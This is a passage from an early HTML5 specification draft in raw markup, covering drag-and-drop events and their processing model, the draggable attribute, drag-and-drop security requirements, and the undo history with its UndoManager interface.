  the processing model described below causes one of these events to be   fired, the event fired must use the <code><a   href="#dragevent">DragEvent</a></code> interface defined above, must have   the bubbling and cancelable behaviours given in the table below, and must   have the context information set up as described after the table.  <table>   <thead>    <tr>     <th> Event Name     <th> Target     <th> Bubbles?     <th> Cancelable?     <th> <code title=dom-DataTransfer-addElement><a      href="#addelement">dataTransfer</a></code>     <th> <code title=dom-DataTransfer-effectAllowed><a      href="#effectallowed">effectAllowed</a></code>     <th> <code title=dom-DataTransfer-dropEffect><a      href="#dropeffect">dropEffect</a></code>     <th> Default Action   <tbody>    <tr>     <td><dfn id=dragstart title=event-dragstart><code>dragstart</code></dfn>     <td><a href="#source">Source node</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSAND#x2713; Cancelable     <td>Contains <a href="#source">source node</a> unless a selection is      being dragged, in which case it is empty     <td><code title="">uninitialized</code>     <td><code title="">none</code>     <td>Initiate the drag-and-drop operation    <tr>     <td><dfn id=drag title=event-drag><code>drag</code></dfn>     <td><a href="#source">Source node</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSAND#x2713; Cancelable     <td>Empty     <td><a href="#effectAllowed-initialisation">Same as last event</a>     <td><code title="">none</code>     <td>Continue the drag-and-drop operation    <tr>     <td><dfn id=dragenter title=event-dragenter><code>dragenter</code></dfn>     <td><a href="#immediate">Immediate user selection</a> or <a      href="#the-body0">the body element</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSAND#x2713; Cancelable     <td>Empty     <td><a href="#effectAllowed-initialisation">Same as last event</a>     <td><a href="#dropEffect-initialisation">Based on      <code>effectAllowed</code> value</a>     <td>Reject <a href="#immediate">immediate user selection</a> as      potential <a href="#current0" title="current target element">target      element</a>    <tr>     <td><dfn id=dragleave title=event-dragleave><code>dragleave</code></dfn>     <td><a href="#current0" title="current target element">Previous target      element</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSANDmdash;     <td>Empty     <td><a href="#effectAllowed-initialisation">Same as last event</a>     <td><code title="">none</code>     <td>None    <tr>     <td><dfn id=dragover title=event-dragover><code>dragover</code></dfn>     <td><a href="#current0">Current target element</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSAND#x2713; Cancelable     <td>Empty     <td><a href="#effectAllowed-initialisation">Same as last event</a>     <td><a href="#dropEffect-initialisation">Based on      <code>effectAllowed</code> value</a>     <td>Reset the <a href="#current1">current drag operation</a> to "none"    <tr>     <td><dfn id=drop title=event-drop><code>drop</code></dfn>     <td><a href="#current0">Current target element</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSAND#x2713; Cancelable     <td><code>getData()</code> returns data set in <code      title=dom-dragstart>dragstart</code> event     <td><a href="#effectAllowed-initialisation">Same as last event</a>     <td><a href="#current1">Current drag operation</a>     <td>Varies    <tr>     <td><dfn id=dragend title=event-dragend><code>dragend</code></dfn>     <td><a href="#source">Source node</a>     <td>AMPERSAND#x2713; Bubbles     <td>AMPERSANDmdash;     <td>Empty     <td><a href="#effectAllowed-initialisation">Same as last event</a>     <td><a href="#current1">Current drag operation</a>     <td>Varies  </table>  <p>The <code title=dom-DragEvent-dataTransfer><a   href="#datatransfer">dataTransfer</a></code> object's contents are empty   except for <code title=event-dragstart><a   href="#dragstart">dragstart</a></code> events and <code   title=event-drop><a href="#drop">drop</a></code> events, for which the   contents are set as described in the processing model, below.  <p id=effectAllowed-initialisation>The <code   title=dom-DataTransfer-effectAllowed><a   href="#effectallowed">effectAllowed</a></code> attribute must be set to   "<code title="">uninitialized</code>" for <code title=event-dragstart><a   href="#dragstart">dragstart</a></code> events, and to whatever value the   field had after the last drag-and-drop event was fired for all other   events (only counting events fired by the user agent for the purposes of   the drag-and-drop model described below).  <p id=dropEffect-initialisation>The <code   title=dom-DataTransfer-dropEffect><a   href="#dropeffect">dropEffect</a></code> attribute must be set to "<code   title="">none</code>" for <code title=event-dragstart><a   href="#dragstart">dragstart</a></code>, <code title=event-drag><a   href="#drag">drag</a></code>, <code title=event-dragleave><a   href="#dragleave">dragleave</a></code>, and <code title=event-dragend><a   href="#dragend">dragend</a></code> events (except when stated otherwise in   the algorithms given in the sections below), to the value corresponding to   the <a href="#current1">current drag operation</a> for <code   title=event-drop><a href="#drop">drop</a></code> events, and to a value   based on the <code title=dom-DataTransfer-effectAllowed><a   href="#effectallowed">effectAllowed</a></code> attribute's value and to   the drag-and-drop source, as given by the following table, for the   remaining events (<code title=event-dragenter><a   href="#dragenter">dragenter</a></code> and <code title=event-dragover><a   href="#dragover">dragover</a></code>):  <table>   <thead>    <tr>     <th><code title=dom-DataTransfer-effectAllowed><a      href="#effectallowed">effectAllowed</a></code>     <th><code title=dom-DataTransfer-dropEffect><a      href="#dropeffect">dropEffect</a></code>   <tbody>    <tr>     <td><code title="">none</code>     <td><code title="">none</code>    <tr>     <td><code title="">copy</code>, <code title="">copyLink</code>, <code      title="">copyMove</code>, <code title="">all</code>     <td><code title="">copy</code>    <tr>     <td><code title="">link</code>, <code title="">linkMove</code>     <td><code title="">link</code>    <tr>     <td><code title="">move</code>     <td><code title="">move</code>    <tr>     <td><code title="">uninitialized</code> when what is being dragged is a      selection from a text field     <td><code title="">move</code>    <tr>     <td><code title="">uninitialized</code> when what is being dragged is a      selection     <td><code title="">copy</code>    <tr>     <td><code title="">uninitialized</code> when what is being dragged is an      <code><a href="#a0">a</a></code> element with an <code>href</code>      attribute     <td><code title="">link</code>    <tr>     <td>Any other case     <td><code title="">copy</code>  </table>  <h4 id=drag-and-drop><span class=secno>6.3.3. </span>Drag-and-drop   processing model</h4>  <p>When the user attempts to begin a drag operation, the user agent must   first determine what is being dragged. If the drag operation was invoked   on a selection, then it is the selection that is being dragged. Otherwise,   it is the first element, going up the ancestor chain, starting at the node   that the user tried to drag, that has the DOM attribute <code   title=dom-draggable><a href="#draggable1">draggable</a></code> set to   true. If there is no such element, then nothing is being dragged, the   drag-and-drop operation is never started, and the user agent must not   continue with this algorithm.  <p class=note><code><a href="#img0">img</a></code> elements and <code><a   href="#a0">a</a></code> elements with an <code   title=attr-hyperlink-href><a href="#href5">href</a></code> attribute have   their <code title=dom-draggable><a href="#draggable1">draggable</a></code>   attribute set to true by default.  <p>If the user agent determines that something can be dragged, a <code   title=event-dragstart><a href="#dragstart">dragstart</a></code> event must   then be fired.  <p>If it is a selection that is being dragged, then this event must be   fired on the node that the user started the drag on (typically the text   node that the user originally clicked). If the user did not specify a   particular node, for example if the user just told the user agent to begin   a drag of "the selection", then the event must be fired on the deepest   node that is a common ancestor of all parts of the selection.  <p>If it is not a selection that is being dragged, then the event must be   fired on the element that is being dragged.  <p>The node on which the event is fired is the <dfn id=source>source   node</dfn>. Multiple events are fired on this node during the course of   the drag-and-drop operation.  <p>If it is a selection that is being dragged, the <code   title=dom-DragEvent-dataTransfer><a   href="#datatransfer">dataTransfer</a></code> member of the event must be   created with no nodes. Otherwise, it must be created containing just the   <a href="#source">source node</a>. Script can use the <code   title=dom-DataTransfer-addElement><a   href="#addelement">addElement()</a></code> method to add further elements   to the list of what is being dragged.  <p>If it is a selection that is being dragged, the <code   title=dom-DragEvent-dataTransfer><a   href="#datatransfer">dataTransfer</a></code> member of the event must have   the text of the selection added to it as the data associated with the   <code title="">text/plain</code> format. Otherwise, if it is an <code><a   href="#img0">img</a></code> element being dragged, then the value of the   element's <code title=dom-img-src><a href="#src0">src</a></code> DOM   attribute must be added, associated with the <code   title="">text/uri-list</code> format. Otherwise, if it is an <code><a   href="#a0">a</a></code> element being dragged, then the value of the   element's <code title=dom-a-href><a href="#href3">href</a></code> DOM   attribute must be added, associated with the <code   title="">text/uri-list</code> format. Otherwise, no data is added to the   object by the user agent.  <p>If the event is canceled, then the drag and drop operation must not   occur; the user agent must not continue with this algorithm.  <p>If it is not canceled, then the drag and drop operation must be   initiated.  <p class=note>Since events with no event handlers registered are, almost by   definition, never canceled, drag and drop is always available to the user   if the author does not specifically prevent it.  <p id=base-dnd-feedback>The drag-and-drop feedback must be generated from   the first of the following sources that is available:  <ol>   <li>The element specified in the last call to the <code    title=dom-DataTransfer-setDragImage><a    href="#setdragimage">setDragImage()</a></code> method of the <code    title=dom-DragEvent-dataTransfer><a    href="#datatransfer">dataTransfer</a></code> object of the <code    title=event-dragstart><a href="#dragstart">dragstart</a></code> event, if    the method was called. In visual media, if this is used, the <var    title="">x</var> and <var title="">y</var> arguments that were passed to    that method should be used as hints for where to put the cursor relative    to the resulting image. The values are expressed as distances in CSS    pixels from the left side and from the top side of the image    respectively. <a href="#refsCSS21">[CSS21]</a></li>   <!--   CSS3 UNITS would be better -->   <li>The elements that were added to the <code    title=dom-DragEvent-dataTransfer><a    href="#datatransfer">dataTransfer</a></code> object, both before the    event was fired, and during the handling of the event using the <code    title=dom-DataTransfer-addElement><a    href="#addelement">addElement()</a></code> method, if any such elements    were indeed added.   <li>The selection that the user is dragging.  </ol>  <!-- XXX xref also link to the section that explains how to  render drag-and-drop, :drag, :drop, etc. Safari has a pseudo-class  that it uses to render an element off-screen to use as the drag  feedback. -->  <p>The user agent must take a note of <a href="#setdata"   title=dom-DataTransfer-setData>the data that was placed</a> in the <code   title=dom-DragEvent-dataTransfer><a   href="#datatransfer">dataTransfer</a></code> object. This data will be   made available again when the <code title=event-drop><a   href="#drop">drop</a></code> event is fired.  <p>From this point until the end of the drag-and-drop operation, device   input events (e.g. mouse and keyboard events) must be suppressed. In   addition, the user agent must track all DOM changes made during the   drag-and-drop operation, and add them to its <a href="#undo">undo   history</a> as one atomic operation once the drag-and-drop operation has   ended.  <p>During the drag operation, the element directly indicated by the user as   the drop target is called the <dfn id=immediate>immediate user   selection</dfn>. (Only elements can be selected by the user; other nodes   must not be made available as drop targets.) However, the <a   href="#immediate">immediate user selection</a> is not necessarily the <dfn   id=current0>current target element</dfn>, which is the element currently   selected for the drop part of the drag-and-drop operation. The <a   href="#immediate">immediate user selection</a> changes as the user selects   different elements (either by pointing at them with a pointing device, or   by selecting them in some other way). The <a href="#current0">current   target element</a> changes when the <a href="#immediate">immediate user   selection</a> changes, based on the results of event handlers in the   document, as described below.  <p>Both the <a href="#current0">current target element</a> and the <a   href="#immediate">immediate user selection</a> can be null, which means no   target element is selected. They can also both be elements in other   (DOM-based) documents, or other (non-Web) programs altogether. (For   example, a user could drag text to a word-processor.) The <a   href="#current0">current target element</a> is initially null.  <p>In addition, there is also a <dfn id=current1>current drag   operation</dfn>, which can take on the values "none", "copy", "link", and   "move". Initially it has the value "none". It is updated by the user agent   as described in the steps below.  <p>User agents must, every 350ms (AMPERSAND#xB1;200ms), perform the following steps   in sequence. (If the user agent is still performing the previous iteration   of the sequence when the next iteration becomes due, the user agent must   not execute the overdue iteration, effectively "skipping missed frames" of   the drag and drop operation.)  <ol>   <li>    <p>First, the user agent must fire a <code title=event-drag><a     href="#drag">drag</a></code> event at the <a href="#source">source     node</a>. If this event is canceled, the user agent must set the <a     href="#current1">current drag operation</a> to none (no drag operation).</p>   <li>    <p>Next, if the <code title=event-drag><a href="#drag">drag</a></code>     event was not canceled and the user has not ended the drag-and-drop     operation, the user agent must check the state of the drag-and-drop     operation, as follows:</p>    <ol>     <li>      <p>First, if the user is indicating a different <a       href="#immediate">immediate user selection</a> than during the last       iteration (or if this is the first iteration), and if this <a       href="#immediate">immediate user selection</a> is not the same as the       <a href="#current0">current target element</a>, then the <a       href="#current0">current target element</a> must be updated, as       follows:</p>      <ol>       <li>        <p>If the new <a href="#immediate">immediate user selection</a> is         null, or is in a non-DOM document or application, then set the <a         href="#current0">current target element</a> to the same value.</p>       <li>        <p>Otherwise, the user agent must fire a <code         title=event-dragenter><a href="#dragenter">dragenter</a></code>         event at the <a href="#immediate">immediate user selection</a>.</p>       <li>        <p>If the event is canceled, then the <a href="#current0">current         target element</a> must be set to the <a href="#immediate">immediate         user selection</a>.</p>       <li>        <p>Otherwise, if the <a href="#current0">current target element</a>         is not <a href="#the-body0">the body element</a>, the user agent         must fire a <code title=event-dragenter><a         href="#dragenter">dragenter</a></code> event at <a         href="#the-body0">the body element</a>, and the <a         href="#current0">current target element</a> must be set to <a         href="#the-body0">the body element</a>, regardless of whether that         event was canceled or not. (If <a href="#the-body0">the body         element</a> is null, then the <a href="#current0">current target         element</a> would be set to null too in this case, it wouldn't be         set to the <code>Document</code> object.)</p>      </ol>     <li>      <p>If the previous step caused the <a href="#current0">current target       element</a> to change, and if the previous target element was not null       or a part of a non-DOM document, the user agent must fire a <code       title=event-dragleave><a href="#dragleave">dragleave</a></code> event       at the previous target element.</p>     <li>      <p>If the <a href="#current0">current target element</a> is a DOM       element, the user agent must fire a <code title=event-dragover><a       href="#dragover">dragover</a></code> event at this <a       href="#current0">current target element</a>.</p>      <p>If the <code title=event-dragover><a       href="#dragover">dragover</a></code> event is canceled, the <a       href="#current1">current drag operation</a> must be reset to "none".</p>      <p>Otherwise, the <a href="#current1">current drag operation</a> must       be set based on the values the <code       title=dom-DataTransfer-effectAllowed><a       href="#effectallowed">effectAllowed</a></code> and <code       title=dom-DataTransfer-dropEffect><a       href="#dropeffect">dropEffect</a></code> attributes of the <code       title=dom-DragEvent-dataTransfer><a       href="#datatransfer">dataTransfer</a></code> object had after the       event was handled, as per the following table:</p>      <table>       <thead>        <tr>         <th><code title=dom-DataTransfer-effectAllowed><a          href="#effectallowed">effectAllowed</a></code>         <th><code title=dom-DataTransfer-dropEffect><a          href="#dropeffect">dropEffect</a></code>         <th>Drag operation       <tbody>        <tr>         <td><code title="">uninitialized</code>, <code title="">copy</code>,          <code title="">copyLink</code>, <code title="">copyMove</code>, or          <code title="">all</code>         <td><code title="">copy</code>         <td>"copy"        <tr>         <td><code title="">uninitialized</code>, <code title="">link</code>,          <code title="">copyLink</code>, <code title="">linkMove</code>, or          <code title="">all</code>         <td><code title="">link</code>         <td>"link"        <tr>         <td><code title="">uninitialized</code>, <code title="">move</code>,          <code title="">copyMove</code>, <code title="">linkMove</code>, or          <code title="">all</code>         <td><code title="">move</code>         <td>"move"        <tr>         <td colspan=2>Any other case         <td>"none"      </table>      <p>Then, regardless of whether the <code title=event-dragover><a       href="#dragover">dragover</a></code> event was canceled or not, the       drag feedback (e.g. the mouse cursor) must be updated to match the <a       href="#current1">current drag operation</a>, as follows:</p>      <table>       <thead>        <tr>         <th>Drag operation         <th>Feedback       <tbody>        <tr>         <td>"copy"         <td>Data will be copied if dropped here.        <tr>         <td>"link"         <td>Data will be linked if dropped here.        <tr>         <td>"move"         <td>Data will be moved if dropped here.        <tr>         <td>"none"         <td>No operation allowed, dropping here will cancel the drag and          drop operation.      </table>     <li>      <p>Otherwise, if the <a href="#current0">current target element</a> is       not a DOM element, the user agent must use platform-specific       mechanisms to determine what drag operation is being performed (none,       copy, link, or move). This sets the <em><a href="#current1">current       drag operation</a></em>.</p>    </ol>   <li>    <p>Otherwise, if the user ended the drag and drop operation (e.g. by     releasing the mouse button in a mouse-driven drag-and-drop interface),     or if the <code title=event-drag><a href="#drag">drag</a></code> event     was cancelled, then this will be the last iteration. The user agent must     follow the following steps, then stop looping.</p>    <ol>     <li>      <p>If the <a href="#current1">current drag operation</a> is none (no       drag operation), or, if the user ended the drag-and-drop operation by       canceling it (e.g. by hitting the <kbd>Escape</kbd> key), or if the <a       href="#current0">current target element</a> is null, then the drag       operation failed. If the <a href="#current0">current target       element</a> is a DOM element, the user agent must fire a <code       title=event-dragleave><a href="#dragleave">dragleave</a></code> event       at it; otherwise, if it is not null, it must use platform-specific       conventions for drag cancellation.</p>     <li>      <p>Otherwise, the drag operation was as success. If the <a       href="#current0">current target element</a> is a DOM element, the user       agent must fire a <code title=event-drop><a       href="#drop">drop</a></code> event at it; otherwise, it must use       platform-specific conventions for indicating a drop.</p>      <p>When the target is a DOM element, the <code       title=dom-DataTransfer-dropEffect><a       href="#dropeffect">dropEffect</a></code> attribute of the event's       <code title=dom-DragEvent-dataTransfer><a       href="#datatransfer">dataTransfer</a></code> object must be given the       value representing the <a href="#current1">current drag operation</a>       (<code title="">copy</code>, <code title="">link</code>, or <code       title="">move</code>), and the object must be set up so that the <code       title=dom-DataTransfer-getData><a href="#getdata">getData()</a></code>       method will return the data that was added during the <code       title=event-dragstart><a href="#dragstart">dragstart</a></code> event.</p>      <p>If the event is canceled, the <a href="#current1">current drag       operation</a> must be set to the value of the <code       title=dom-DataTransfer-dropEffect><a       href="#dropeffect">dropEffect</a></code> attribute of the event's       <code title=dom-DragEvent-dataTransfer><a       href="#datatransfer">dataTransfer</a></code> object as it stood after       the event was handled.</p>      <p>Otherwise, the event is not canceled, and the user agent must       perform the event's default action, which depends on the exact target       as follows:</p>      <dl class=switch>       <dt>If the <a href="#current0">current target element</a> is a text        field (e.g. <code>textarea</code>, or an <code>input</code> element        with <code title="">type="text"</code><!--XXX xref-->)       <dd>The user agent must insert the data associated with the        <code>text/plain</code> format, if any, into the text field in a        manner consistent with platform-specific conventions (e.g. inserting        it at the current mouse cursor position, or inserting it at the end        of the field).       <dt>Otherwise       <dd>Reset the <a href="#current1">current drag operation</a> to        "none".      </dl>     <li>      <p>Finally, the user agent must fire a <code title=event-dragend><a       href="#dragend">dragend</a></code> event at the <a       href="#source">source node</a>, with the <code       title=dom-DataTransfer-dropEffect><a       href="#dropeffect">dropEffect</a></code> attribute of the event's       <code title=dom-DragEvent-dataTransfer><a       href="#datatransfer">dataTransfer</a></code> object being set to the       value corresponding to the <a href="#current1">current drag       operation</a>.</p>      <p class=note>The <a href="#current1">current drag operation</a> can       change during the processing of the <code title=event-drop><a       href="#drop">drop</a></code> event, if one was fired.</p>      <p>The event is not cancelable. After the event has been handled, the       user agent must act as follows:</p>      <dl class=switch>       <dt>If the <a href="#current0">current target element</a> is a text        field (e.g. <code>textarea</code>, or an <code>input</code> element        with <code title="">type="text"</code><!--XXX xref-->), and a <code        title=event-drop><a href="#drop">drop</a></code> event was fired in        the previous step, and the <a href="#current1">current drag        operation</a> is "move", and the source of the drag and drop        operation is a selection in the DOM       <dd>The user agent should delete the range representing the dragged        selection from the DOM.       <dt>If the <a href="#current0">current target element</a> is a text        field (e.g. <code>textarea</code>, or an <code>input</code> element        with <code title="">type="text"</code><!--XXX xref-->), and a <code        title=event-drop><a href="#drop">drop</a></code> event was fired in        the previous step, and the <a href="#current1">current drag        operation</a> is "move", and the source of the drag and drop        operation is a selection in a text field       <dd>The user agent should delete the dragged selection from the        relevant text field.       <dt>Otherwise       <dd>The event has no default action.      </dl>    </ol>  </ol>  <h5 id=when-the><span class=secno>6.3.3.1. </span>When the drag-and-drop   operation starts or ends in another document</h5>  <p>The model described above is independent of which <code>Document</code>   object the nodes involved are from; the events must be fired as described   above and the rest of the processing model must be followed as described   above, irrespective of how many documents are involved in the operation.  <h5 id=when-the0><span class=secno>6.3.3.2. </span>When the drag-and-drop   operation starts or ends in another application</h5>  <p>If the drag is initiated in another application, the <a   href="#source">source node</a> is not a DOM node, and the user agent must   use platform-specific conventions instead when the requirements above   involve the source node. User agents in this situation must act as if the   dragged data had been added to the <code><a   href="#datatransfer0">DataTransfer</a></code> object when the drag   started, even though no <code title=event-dragstart><a   href="#dragstart">dragstart</a></code> event was actually fired; user   agents must similarly use platform-specific conventions when deciding on   what drag feedback to use.  <p>If a drag is started in a document but ends in another application, then   the user agent must instead replace the parts of the processing model   relating to handling the <em>target</em> according to platform-specific   conventions.  <p>In any case, scripts running in the context of the document must not be   able to distinguish the case of a drag-and-drop operation being started or   ended in another application from the case of a drag-and-drop operation   being started or ended in another document from another domain.  <h4 id=the-draggable><span class=secno>6.3.4. </span>The <dfn id=draggable0   title=attr-draggable><code>draggable</code></dfn> attribute</h4>  <p>All elements may have the <code title=attr-draggable><a   href="#draggable0">draggable</a></code> content attribute set. If the   attribute is set, it must be set either to the empty string, to the value   <code title="">true</code>, or to the value <code title="">false</code>.  <p class=big-issue>redefine this in terms of a microsyntax  <p>The <dfn id=draggable1 title=dom-draggable><code>draggable</code></dfn>   DOM attribute, whose value depends on the content attribute's in the way   described below, controls whether or not the element is draggable.   Generally, only text selections are draggable, but elements whose <code   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM   attribute is true become draggable as well.  <p>If an element has the <code title=attr-draggable><a   href="#draggable0">draggable</a></code> content attribute set to the empty   string or to the literal value <code title="">true</code>, the <code   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM   attribute must return true.  <p>Otherwise, if an element has the <code title=attr-draggable><a   href="#draggable0">draggable</a></code> content attribute set to the   literal value <code title="">false</code>, the <code   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM   attribute must return false.  <p>Otherwise, if the element is an <code><a href="#img0">img</a></code>   element, or, if the element is an <code><a href="#a0">a</a></code> element   with an <code title=attr-hyperlink-href><a href="#href5">href</a></code>   content attribute, the <code title=dom-draggable><a   href="#draggable1">draggable</a></code> DOM attribute must return true.  <p>Otherwise, the <code title=dom-draggable><a   href="#draggable1">draggable</a></code> DOM must return false.  <p>If the <code title=dom-draggable><a   href="#draggable1">draggable</a></code> DOM attribute is set to the value   false, the <code title=attr-draggable><a   href="#draggable0">draggable</a></code> content attribute must be set to   the literal value <code title="">false</code>. If the <code   title=dom-draggable><a href="#draggable1">draggable</a></code> DOM   attribute is set to the value true, the <code title=attr-draggable><a   href="#draggable0">draggable</a></code> content attribute must be set to   the literal value <code title="">true</code>.  <h4 id=security1><span class=secno>6.3.5. </span>Security risks in the   drag-and-drop model</h4>  <p>User agents must not make the data added to the <code><a   href="#datatransfer0">DataTransfer</a></code> object during the <code   title=event-dragstart><a href="#dragstart">dragstart</a></code> event   available to scripts until the <code title=event-drop><a   href="#drop">drop</a></code> event, because otherwise, if a user were to   drag sensitive information from one document to a second document,   crossing a hostile third document in the process, the hostile document   could intercept the data.  <p>For the same reason, user agents must only consider a drop to be   successful if the user specifically ended the drag operation AMPERSANDmdash; if   any scripts end the drag operation, it must be considered unsuccessful   (canceled) and the <code title=event-drop><a href="#drop">drop</a></code>   event must not be fired.  <p>User agents should take care to not start drag and drop operations in   response to script actions. For example, in a mouse-and-window   environment, if a script moves a window while the user has his mouse   button depressed, the UA would not consider that to start a drag. This is   important because otherwise UAs could cause data to be dragged from   sensitive sources and dropped into hostile documents without the user's   consent.  <h3 id=undo><span class=secno>6.4. </span><dfn id=undo-history0>Undo   history</dfn></h3>  <p class=big-issue>There has got to be a better way of doing this, surely.  <p>The user agent must associate an <dfn id=undo-transaction>undo   transaction history</dfn> with each <code><a   href="#htmldocument">HTMLDocument</a></code> object.  <p>The <a href="#undo-transaction">undo transaction history</a> is a list   of entries. The entries are of two type: <a href="#dom-changes">DOM   changes</a> and <a href="#undo-object" title="undo object">undo   objects</a>.  <p>Each <dfn id=dom-changes>DOM changes</dfn> entry in the <a   href="#undo-transaction">undo transaction history</a> consists of batches   of one or more of the following:  <ul>   <li>Changes to the <a href="#content">content attributes</a> of an    <code>Element</code> node.   <li>Changes to the <a href="#dom-attributes">DOM attributes</a> of a    <code>Node</code>.</li>   <!-- XXX uh, these change on their own, so   clearly this isn't going to fly. Which DOM attributes, exactly? -->   <li>Changes to the DOM hierarchy of nodes that are descendants of the    <code><a href="#htmldocument">HTMLDocument</a></code> object    (<code>parentNode</code>, <code>childNodes</code>).  </ul>  <p><dfn id=undo-object>Undo object</dfn> entries consist of objects   representing state that scripts running in the document are managing. For   example, a Web mail application could use an <a href="#undo-object">undo   object</a> to keep track of the fact that a user has moved an e-mail to a   particular folder, so that the user can undo the action and have the   e-mail return to its former location.  <p>Broadly speaking, <a href="#dom-changes">DOM changes</a> entries are   handled by the UA in response to user edits of form controls and   <span>editing hosts</span> on the page, and <a href="#undo-object">undo   object</a> entries are handled by script in response to higher-level user   actions (such as interactions with server-side state, or in the   implementation of a drawing tool).  <h4 id=the-undomanager><span class=secno>6.4.1. </span>The <code><a   href="#undomanager">UndoManager</a></code> interface</h4>  <div class=big-issue>   <p>This API sucks. Seriously. It's a terrible API. Really bad. I hate it.    Here are the requirements:</p>   <ul>    <li>Has to cope with cases where the server has undo state already when     the page is loaded, that can be stuffed into the undo buffer onload.    <li>Has to support undo/redo.    <li>Has to cope with the "undo" action being "contact the server and tell     it to undo", rather than it being the opposite of the "redo" action.    <li>Has to cope with some undo states expiring from the undo history     (e.g. server can only remember one undelete action) but other states not     expiring (e.g. client can undo arbitrary amounts of local edits).   </ul>  </div>  <p>To manage <a href="#undo-object">undo object</a> entries in the <a   href="#undo-transaction">undo transaction history</a>, the <code><a   href="#undomanager">UndoManager</a></code> interface can be used:  <pre class=idl>interface <dfn id=undomanager>UndoManager</dfn> {  unsigned long <a href="#adddata" title=dom-UndoManager-add>add</a>(in DOMObject data, in DOMStrong title);  void <a href="#remove1" title=dom-UndoManager-remove>remove</a>(in unsigned long index);  void <a href="#clearundo" title=dom-UndoManager-clearUndo>clearUndo</a>();  void <a href="#clearredo" title=dom-UndoManager-clearRedo>clearRedo</a>();  DOMObject <a href="#itemn" title=dom-UndoManager-item>item</a>(in unsigned long index);  readonly attribute unsigned long <a href="#length5" title=dom-UndoManager-length>length</a>;  readonly attribute unsigned long <a href="#position0" title=dom-UndoManager-position>position</a>;};</pre>  <p>The <dfn id=undomanager0   title=dom-undoManager><code>undoManager</code></dfn> attribute of the   <code><a href="#windowhtml">WindowHTML</a></code> interface must return   the object implementing the <code><a   href="#undomanager">UndoManager</a></code> interface for that <code><a   href="#windowhtml">WindowHTML</a></code> object's associated <code><a   href="#htmldocument">HTMLDocument</a></code> object.  <p>In the ECMAScript DOM binding, objects implementing this interface must   also support being dereferenced using the square bracket notation, such   that dereferencing with an integer index is equivalent to invoking the   <code title=dom-UndoManager-item><a href="#itemn">item()</a></code> method   with that index (e.g. <code title="">undoManager[1]</code> returns the   same as <code title="">undoManager.item(1)</code>).  <p><code><a href="#undomanager">UndoManager</a></code> objects represent   their document's <a href="#undo-transaction">undo transaction history</a>.   Only <a href="#undo-object">undo object</a> entries are visible with this   API, but this does not mean that <a href="#dom-changes">DOM changes</a>   entries are absent from the <a href="#undo-transaction">undo transaction   history</a>.  <p>The <dfn id=length5   title=dom-UndoManager-length><code>length</code></dfn> attribute must   return the number of <a href="#undo-object">undo object</a> entries in the   <a href="#undo-transaction">undo transaction history</a>.  <p>The <dfn id=itemn title=dom-UndoManager-item><code>item(<var   title="">n</var>)</code></dfn> method must return the <var   title="">n</var>th <a href="#undo-object">undo object</a> entry in the <a   href="#undo-transaction">undo transaction history</a>.  <p>The <a href="#undo-transaction">undo transaction history</a> has a <dfn   id=current2 title="undo position">current position</dfn>. This is the   position between two entries in the <a href="#undo-transaction">undo   transaction history</a>'s list where the previous entry represents what   needs to happen if the user invokes the "undo" command (the "undo" side,   lower numbers), and the next entry represents what needs to happen if the   user invokes the "redo" command (the "redo" side, higher numbers).  <p>The <dfn id=position0   title=dom-UndoManager-position><code>position</code></dfn> attribute must   return the index of the <a href="#undo-object">undo object</a> entry   nearest to the <a href="#current2">undo position</a>, on the "redo" side.   If there are no <a href="#undo-object">undo object</a> entries on the   "redo" side, then the attribute must return the same as the <code   title=dom-UndoManager-length><a href="#length5">length</a></code>   attribute. If there are no <a href="#undo-object">undo object</a> entries   on the "undo" side of the <a href="#current2">undo position</a>, the <code   title=dom-UndoManager-position><a href="#position0">position</a></code>   attribute returns zero.  <p class=note>Since the <a href="#undo-transaction">undo transaction   history</a> contains both <a href="#undo-object">undo object</a> entries   and <a href="#dom-changes">DOM changes</a> entries, but the <code   title=dom-UndoManager-position><a href="#position0">position</a></code>   attribute only returns indices relative to <a href="#undo-object">undo   object</a> entries, it is possible for several "undo" or "redo" actions to   be performed without the value of the <code   title=dom-UndoManager-position><a href="#position0">position</a></code>   attribute changing.  <p>The <dfn id=adddata title=dom-UndoManager-add><code>add(<var   title="">data</var>, <var title="">title</var>)</code></dfn> method's   behaviour depends on the current state. Normally, it must insert the <var   title="">data</var> object passed as an argument into the <a   href="#undo-transaction">undo transaction history</a> immediately before   the <a href="#current2">undo position</a>, optionally remembering the   given <var title="">title</var> to use in the UI. If the method is called   <a href="#undo-moving1" title=do-undo>during an undo operation</a>,   however, the object must instead be added immediately <em>after</em> the   <a href="#current2">undo position</a>.  <p>If the method is called and there is neither <a href="#undo-moving1"   title=do-undo>an undo operation in progress</a> nor <a   href="#redo-moving1" title=do-redo>a redo operation in progress</a> then   any entries in the <a href="#undo-transaction">undo transaction   history</a> after the <a href="#current2">undo position</a> must be   removed (as if <code title=dom-UndoManager-clearRedo><a   href="#clearredo">clearRedo()</a></code> had been called).  <p class=big-issue>We could fire events when someone adds something to the   undo history -- one event per undo object entry before the position (or   after, during redo addition), allowing the script to decide if that entry   should remain or not. Or something. Would make it potentially easier to   expire server-held state when the server limitations come into play.</p>  <!-- XXX note on expiring undo in case server can only do one level undo -->  <p>The <dfn id=remove1 title=dom-UndoManager-remove><code>remove(<var   title="">index</var>)</code></dfn> method must remove the <a   href="#undo-object">undo object</a> entry with the specified <var   title="">index</var>. If the index is less than zero or greater than or   equal to <code title=dom-UndoManager-length><a   href="#length5">length</a></code> then the method must raise an   <code>INDEX_SIZE_ERR</code> exception. <a href="#dom-changes">DOM   changes</a> entries are unaffected by this method.  <p>The <dfn id=clearundo   title=dom-UndoManager-clearUndo><code>clearUndo()</code></dfn> method must   remove all entries in the <a href="#undo-transaction">undo transaction   history</a> before the <a href="#current2">undo position</a>, be they <a   href="#dom-changes">DOM changes</a> entries or <a href="#undo-object">undo   object</a> entries.  <p>The <dfn id=clearredo   title=dom-UndoManager-clearRedo><code>clearRedo()</code></dfn> method must   remove all entries in the <a href="#undo-transaction">undo transaction   history</a> after the <a href="#current2">undo position</a>, be they <a   href="#dom-changes">DOM changes</a> entries or <a href="#undo-object">undo   object</a> entries.  <p class=big-issue>Another idea is to have a way 